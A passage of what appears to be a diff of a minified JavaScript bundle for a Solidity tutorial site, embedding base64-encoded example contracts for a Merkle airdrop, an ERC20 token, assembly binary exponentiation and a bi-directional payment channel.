MyW10gbWVtb3J5IHByb29mID0gbmV3IGJ5dGVzMzJbXSgwKTsKICAgICAgICB1aW50MjU2IGxlbiA9IDA7CgogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CiAgICAgICAgdWludDI1NiBrID0gaW5kZXg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICAvLyBHZXQgcHJvb2YgZm9yIHRoaXMgbGV2ZWwKICAgICAgICAgICAgdWludDI1NiBqID0gayAmIDEgPT0gMSA/IGsgLSAxIDogKGsgKyAxIDwgbiA/IGsgKyAxIDogayk7CiAgICAgICAgICAgIGJ5dGVzMzIgaCA9IGhhc2hlc1tqXTsKCiAgICAgICAgICAgIC8vIHByb29mLnB1c2goaCkKICAgICAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAgICAgbGVuIDo9IGFkZChsZW4sIDEpCiAgICAgICAgICAgICAgICBsZXQgcG9zIDo9IGFkZChwcm9vZiwgc2hsKDUsIGxlbikpCiAgICAgICAgICAgICAgICBtc3RvcmUocG9zLCBoKQogICAgICAgICAgICAgICAgbXN0b3JlKHByb29mLCBsZW4pCiAgICAgICAgICAgICAgICBtc3RvcmUoMHg0MCwgYWRkKHBvcywgMHgyMCkpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGsgPj49IDE7CgogICAgICAgICAgICAvLyBDYWxjdWxhdGUgbmV4dCBsZXZlbCBvZiBoYXNoZXMKICAgICAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgbjsgaSArPSAyKSB7CiAgICAgICAgICAgICAgICBieXRlczMyIGxlZnQgPSBoYXNoZXNbaV07CiAgICAgICAgICAgICAgICBieXRlczMyIHJpZ2h0ID0gaGFzaGVzW2kgKyAxIDwgbiA/IGkgKyAxIDogaV07CiAgICAgICAgICAgICAgICAobGVmdCwgcmlnaHQpID0gbGVmdCA8PSByaWdodCA/IChsZWZ0LCByaWdodCkgOiAocmlnaHQsIGxlZnQpOwogICAgICAgICAgICAgICAgaGFzaGVzW2kgPj4gMV0gPSB5dWxLZWNjYWsyNTYobGVmdCwgcmlnaHQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIG4gPSAobiArIChuICYgMSkpID4+IDE7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcHJvb2Y7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YsIGJ5dGVzMzIgcm9vdCwgYnl0ZXMzMiBsZWFmKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJ5dGVzMzIgbGVmdCwgYnl0ZXMzMiByaWdodCkgPQogICAgICAgICAgICAgICAgaCA8PSBwcm9vZltpXSA/IChoLCBwcm9vZltpXSkgOiAocHJvb2ZbaV0sIGgpOwogICAgICAgICAgICBoID0geXVsS2VjY2FrMjU2KGxlZnQsIHJpZ2h0KTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoID09IHJvb3Q7CiAgICB9Cn0K"},{fileName:"MerkleProof.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBPcGVuWmVwcGVsaW4gQ29udHJhY3RzCgpwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCB7SGFzaGVzfSBmcm9tICIuL0hhc2hlcy5zb2wiOwoKbGlicmFyeSBNZXJrbGVQcm9vZiB7CiAgICBmdW5jdGlvbiB2ZXJpZnkoYnl0ZXMzMltdIG1lbW9yeSBwcm9vZiwgYnl0ZXMzMiByb290LCBieXRlczMyIGxlYWYpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gcHJvY2Vzc1Byb29mKHByb29mLCBsZWFmKSA9PSByb290OwogICAgfQoKICAgIGZ1bmN0aW9uIHByb2Nlc3NQcm9vZihieXRlczMyW10gbWVtb3J5IHByb29mLCBieXRlczMyIGxlYWYpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICBieXRlczMyIGNvbXB1dGVkSGFzaCA9IGxlYWY7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgY29tcHV0ZWRIYXNoID0gSGFzaGVzLmNvbW11dGF0aXZlS2VjY2FrMjU2KGNvbXB1dGVkSGFzaCwgcHJvb2ZbaV0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gY29tcHV0ZWRIYXNoOwogICAgfQp9Cg=="},{fileName:"Token.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEVSQzIwICsgbWludCArIGF1dGhvcml6YXRpb24KY29udHJhY3QgVG9rZW4gewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IHZhbHVlCiAgICApOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpKSBwdWJsaWMgYWxsb3dhbmNlOwogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgZGVjaW1hbHM7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkgcHVibGljIGF1dGhvcml6ZWQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBhdXRob3JpemVkW21zZy5zZW5kZXJdID0gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRBdXRob3JpemVkKGFkZHJlc3MgYWRkciwgYm9vbCBhdXRoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShhdXRob3JpemVkW21zZy5zZW5kZXJdLCAibm90IGF1dGhvcml6ZWQiKTsKICAgICAgICBhdXRob3JpemVkW2FkZHJdID0gYXV0aDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgYmFsYW5jZU9mW3JlY2lwaWVudF0gKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVtzZW5kZXJdW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2Zbc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgYmFsYW5jZU9mW3JlY2lwaWVudF0gKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIoc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBtaW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShhdXRob3JpemVkW21zZy5zZW5kZXJdLCAibm90IGF1dGhvcml6ZWQiKTsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="}],qC=`

Example of airdrop contract using Merkle tree.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -479,7 +479,7 @@ Error generating stack: `+e.message+`
         }
     }
 }
-
`,aj=({prev:s,next:a})=>r.jsx(A,{version:OC,title:PC,description:$C,html:sj,prev:s,next:a,codes:qC}),nj="0.8.24",lj="Assembly Binary Exponentiation",pj="Example of binary exponentiation in assembly",ej=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],cj=`

Example of binary exponentiation in assembly

+`,sj=({prev:s,next:a})=>r.jsx(A,{version:LC,title:OC,description:PC,html:qC,prev:s,next:a,codes:$C}),aj="0.8.24",nj="Assembly Binary Exponentiation",lj="Example of binary exponentiation in assembly",pj=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],ej=`

Example of binary exponentiation in assembly

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -536,7 +536,7 @@ Error generating stack: `+e.message+`
         }
     }
 }
-
`,tj=({prev:s,next:a})=>r.jsx(A,{version:nj,title:lj,description:pj,html:cj,prev:s,next:a,codes:ej}),oj="0.8.24",rj="Bi-Directional Payment Channel",ij="An example of bi-directional payment channels in Solidity",gj=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlIHBheW1lbnQgY2hhbm5lbCBhZGRyZXNzCjMuIEFsaWNlIGFuZCBCb2IgZXhjaGFuZ2VzIHNpZ25hdHVyZXMgb2YgaW5pdGlhbCBiYWxhbmNlcwo0LiBBbGljZSBhbmQgQm9iIGNyZWF0ZXMgYSB0cmFuc2FjdGlvbiB0aGF0IGNhbiBkZXBsb3kgYSBwYXltZW50IGNoYW5uZWwgZnJvbQogICB0aGUgbXVsdGktc2lnIHdhbGxldAoKVXBkYXRlIGNoYW5uZWwgYmFsYW5jZXMKMS4gUmVwZWF0IHN0ZXBzIDEgLSAzIGZyb20gb3BlbmluZyBhIGNoYW5uZWwKMi4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGRlcGxveWVkIHRoZSBvbGQgcGF5bWVudCBjaGFubmVsCiAgIC0gYW5kIHRoZW4gY3JlYXRlIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIHdpdGggdGhlCiAgICAgbmV3IGJhbGFuY2VzCgpDbG9zaW5nIGEgY2hhbm5lbCB3aGVuIEFsaWNlIGFuZCBCb2IgYWdyZWUgb24gdGhlIGZpbmFsIGJhbGFuY2UKMS4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIHNlbmQgcGF5bWVudHMgdG8gQWxpY2UgYW5kIEJvYgogICAtIGFuZCB0aGVuIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGNyZWF0ZWQgdGhlIHBheW1lbnQgY2hhbm5lbAoKQ2xvc2luZyBhIGNoYW5uZWwgd2hlbiBBbGljZSBhbmQgQm9iIGRvIG5vdCBhZ3JlZSBvbiB0aGUgZmluYWwgYmFsYW5jZXMKMS4gRGVwbG95IHBheW1lbnQgY2hhbm5lbCBmcm9tIG11bHRpLXNpZwoyLiBjYWxsIGNoYWxsZW5nZUV4aXQoKSB0byBzdGFydCB0aGUgcHJvY2VzcyBvZiBjbG9zaW5nIGEgY2hhbm5lbAozLiBBbGljZSBhbmQgQm9iIGNhbiB3aXRoZHJhdyBmdW5kcyBvbmNlIHRoZSBjaGFubmVsIGlzIGV4cGlyZWQKKi8KCmNvbnRyYWN0IEJpRGlyZWN0aW9uYWxQYXltZW50Q2hhbm5lbCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBldmVudCBDaGFsbGVuZ2VFeGl0KGFkZHJlc3MgaW5kZXhlZCBzZW5kZXIsIHVpbnQyNTYgbm9uY2UpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CgogICAgYWRkcmVzcyBwYXlhYmxlWzJdIHB1YmxpYyB1c2VyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNVc2VyOwoKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CgogICAgdWludDI1NiBwdWJsaWMgY2hhbGxlbmdlUGVyaW9kOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwogICAgdWludDI1NiBwdWJsaWMgbm9uY2U7CgogICAgbW9kaWZpZXIgY2hlY2tCYWxhbmNlcyh1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMpIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLmJhbGFuY2UgPj0gX2JhbGFuY2VzWzBdICsgX2JhbGFuY2VzWzFdLAogICAgICAgICAgICAiYmFsYW5jZSBvZiBjb250cmFjdCBtdXN0IGJlID49IHRvIHRoZSB0b3RhbCBiYWxhbmNlIG9mIHVzZXJzIgogICAgICAgICk7CiAgICAgICAgXzsKICAgIH0KCiAgICAvLyBOT1RFOiBkZXBvc2l0IGZyb20gbXVsdGktc2lnIHdhbGxldAogICAgY29uc3RydWN0b3IoCiAgICAgICAgYWRkcmVzcyBwYXlhYmxlWzJdIG1lbW9yeSBfdXNlcnMsCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX2V4cGlyZXNBdCwKICAgICAgICB1aW50MjU2IF9jaGFsbGVuZ2VQZXJpb2QKICAgICkgcGF5YWJsZSBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykgewogICAgICAgIHJlcXVpcmUoX2V4cGlyZXNBdCA+IGJsb2NrLnRpbWVzdGFtcCwgIkV4cGlyYXRpb24gbXVzdCBiZSA+IG5vdyIpOwogICAgICAgIHJlcXVpcmUoX2NoYWxsZW5nZVBlcmlvZCA+IDAsICJDaGFsbGVuZ2UgcGVyaW9kIG11c3QgYmUgPiAwIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF91c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHBheWFibGUgdXNlciA9IF91c2Vyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUoIWlzVXNlclt1c2VyXSwgInVzZXIgbXVzdCBiZSB1bmlxdWUiKTsKICAgICAgICAgICAgdXNlcnNbaV0gPSB1c2VyOwogICAgICAgICAgICBpc1VzZXJbdXNlcl0gPSB0cnVlOwoKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcl0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBleHBpcmVzQXQgPSBfZXhwaXJlc0F0OwogICAgICAgIGNoYWxsZW5nZVBlcmlvZCA9IF9jaGFsbGVuZ2VQZXJpb2Q7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IHNpZ25lcnM7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgdXNlcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgc2lnbmVyc1tpXSA9IHVzZXJzW2ldOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdmVyaWZ5KF9zaWduYXR1cmVzLCBhZGRyZXNzKHRoaXMpLCBzaWduZXJzLCBfYmFsYW5jZXMsIF9ub25jZSksCiAgICAgICAgICAgICJJbnZhbGlkIHNpZ25hdHVyZSIKICAgICAgICApOwoKICAgICAgICBfOwogICAgfQoKICA